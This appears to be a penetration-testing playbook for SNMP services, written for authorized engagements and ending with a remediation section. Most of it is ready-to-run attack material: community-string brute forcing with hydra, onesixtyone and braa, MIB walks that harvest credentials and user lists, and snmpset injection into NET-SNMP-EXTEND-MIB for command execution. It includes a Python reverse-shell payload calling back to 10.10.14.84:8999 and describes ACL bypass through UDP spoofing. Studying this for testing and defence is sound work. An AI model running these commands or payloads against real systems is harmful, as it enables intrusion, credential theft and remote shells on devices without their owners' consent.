| name | pentesting-snmp |
| description | Testing SNMP services (default 161/UDP for agents, 162/UDP for traps, 10161/10162 over TLS/DTLS) for default/guessable community strings, sensitive MIB/OID data harvesting, writable rwcommunity strings, and SNMP-to-RCE via NET-SNMP-EXTEND-MIB during authorized engagements. |
| domain | cybersecurity |
| subdomain | network-services-pentesting |
| tags | ["penetration-testing","network-services","snmp"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Pentesting SNMP (port 161)
When to Use
- Default port
161/udp for SNMP agents (queries); 162/udp for traps sent server->client; 10161/10162 when wrapped in TLS/DTLS.
- When
nmap/banner shows snmp, e.g. 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public).
- Against routers, switches, printers, IoT and servers that expose monitoring data through the Management Information Base (MIB).
- SNMPv1 and v2/2c authenticate with a plaintext community string; SNMPv3 uses real credentials and encryption (dictionary attack is harder).
Quick Enumeration
nmap --script "snmp* and not snmp-brute" <target>
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt <IP> -w 100
hydra -P /usr/share/wordlists/rockyou.txt -v <IP> snmp
snmpbulkwalk -c public -v2c 10.10.11.136 .
snmpwalk -v 2c -c public <IP> .1
snmpwalk -v 2c -c public <IP> 1.3.6.1.2.1.4.34.1.3
snmpwalk -v 2c -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
snmp-check <IP> -p 161 -c public
braa <community>@<IP>:.1.3.6.*
braa ignite123@192.168.1.125:.1.3.6.*
Install MIBs so OIDs resolve to names: apt-get install snmp-mibs-downloader && download-mibs, then comment the mibs : line in /etc/snmp/snmp.conf.
Critical: Checks Most Often Missed
- Default/guessable community strings —
public (read-only) and private (read/write) are the classics; vendor strings like ciscoSystems, cable-docsis, ILMI are common too. In v1/v2c a bad community gets no response, so any response means the string is valid.
- Writability is per-OID, not per-string — even a
public string may allow writing some OIDs. Look for rwcommunity / rwcommunity6 / rwuser noauth config. Writing returns noSuchName/readOnly only when blocked.
- Sensitive data in MIB walks — running processes (
1.3.6.1.2.1.25.4.2.1.2) and their paths/args may contain passwords; user accounts (1.3.6.1.4.1.77.1.2.25); software (1.3.6.1.2.1.25.6.3.1.2); TCP ports (1.3.6.1.2.1.6.13.1.3).
- SNMP-to-RCE with a write community on net-snmp via
nsExtendObjects (run-on-read).
- ACL bypass via UDP source spoofing — if only certain IPs may query, spoof one inside the UDP packet and sniff the reply.
How to CONFIRM
- A valid community string: server responds at all to
snmpwalk -v2c -c <string> <IP> .1 (v1/v2c silently drop bad strings).
- Write access:
snmpset succeeds (no readOnly/noSuchName error) — confirm with a re-snmpwalk of the OID you set.
- RCE: after injecting via
snmpset, the snmpwalk of NET-SNMP-EXTEND-MIB::nsExtendObjects shows the command output (the command executes on read).
Workflow
Step 1: Enumerate
Discover the agent and confirm version. nmap --script "snmp* and not snmp-brute" <target> plus a banner grab. Note SNMP version (1/2c vs 3) because it dictates whether you attack a community string or full creds.
Step 2: Authenticate / unauth access
Guess the community string with onesixtyone/braa/hydra. Confirm by checking for any response. For SNMPv3, enumerate users and attempt a dictionary attack against the auth/priv credentials.
Step 3: Exploit / Extract
With a read string, harvest data and grep the captured .snmp output for high-value items (from Rapid7's harvesting methodology):
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
grep ".1.3.6.1.2.1.1.1.0" *.snmp
grep -i "trap" *.snmp
grep -i "login\|fail" *.snmp
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
With a write (rwcommunity) string on net-snmp, escalate to command execution by appending a row to the extend table:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
snmpwalk -v2c -c <rwstring> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
Reverse shell variant (binary must exist and be given an absolute path):
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> \
'nsExtendStatus."command10"' = createAndGo \
'nsExtendCommand."command10"' = /usr/bin/python3.6 \
'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Or use mxrch's helper: git clone https://github.com/mxrch/snmp-shell.
Step 4: Post-access / pivot
Use harvested running-config (Cisco private string -> running configs), credentials, and internal IPs/usernames to pivot. Modify values with NetScanTools/snmpset when you hold the private string. Capture trap data on 162/udp for additional intel.
Key Concepts
| Concept | Description |
|---|
| Community string | v1/v2c plaintext "password"; public=RO, private=RW (writability is per-OID) |
| OID / MIB | Object Identifier in the standardized MIB tree (e.g. 1.3.6.1.2.1 = MIB-2); MIBs describe where/what data lives |
| SNMPv1/2c vs v3 | v1/2c send everything in plaintext; v3 adds real auth + encryption |
| rwcommunity / rwuser noauth | Config granting full write access to the OID tree -> RCE path on net-snmp |
| run-on-read | NET-SNMP-EXTEND-MIB executes the configured command when the OID is read (via snmpwalk) |
| Traps | Unsolicited packets on 162/udp from agent to manager; may leak config words like "trap" |
Tools & Systems
| Tool | Purpose |
|---|
| snmpwalk / snmpbulkwalk | Walk the MIB tree with a known community string |
| snmpget / snmpset | Read a single OID / write OIDs (RCE via nsExtend) |
| snmp-check | Human-readable enumeration report |
| onesixtyone | Fast UDP community-string guesser |
| braa | Mass multi-host SNMP scanner with its own stack |
| hydra | SNMP community brute force |
| nmap snmp- NSE* | Discovery + targeted SNMP scripts |
| Metasploit | auxiliary/scanner/snmp/snmp_login, snmp_enum |
Common Scenarios
Scenario 1: Default community + data leak
public works; an snmpwalk of the process table reveals a service launched with a cleartext password in its command-line arguments.
Scenario 2: Cisco running-config theft
SNMP trap data reveals the private string used on Cisco IOS; it is used to pull the full running configuration (with secrets) from the device.
Scenario 3: Write community to RCE
A device exposes rwcommunity SuP3RPrivCom90; snmpset injects an nsExtend row pointing at /usr/bin/python3, and an snmpwalk triggers the reverse shell.
Output Format
## SNMP Finding
**Service**: SNMP (161/udp)
**Severity**: <Critical|High|Medium>
**Target**: <IP>:161 Version: <v1|v2c|v3>
**Community String**: public (RO) / private (RW)
### Evidence
- Valid community string confirmed: server responded to snmpwalk .1
- Sensitive data extracted: <process args with creds / user list / running-config>
- Write access: snmpset on <OID> succeeded (verified by re-walk)
- RCE: nsExtend command output observed in nsExtendObjects walk
### Reproduction
snmpwalk -v 2c -c public <IP> .1
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> 'nsExtendStatus."x"' = createAndGo ...
### Recommendation
1. Disable SNMPv1/v2c; require SNMPv3 with authPriv (SHA + AES)
2. Replace default community strings; never expose RW (rwcommunity) strings
3. Restrict agents to management VLANs and trusted manager IPs (ACLs)
4. Remove rwuser noauth and net-snmp extend access where unused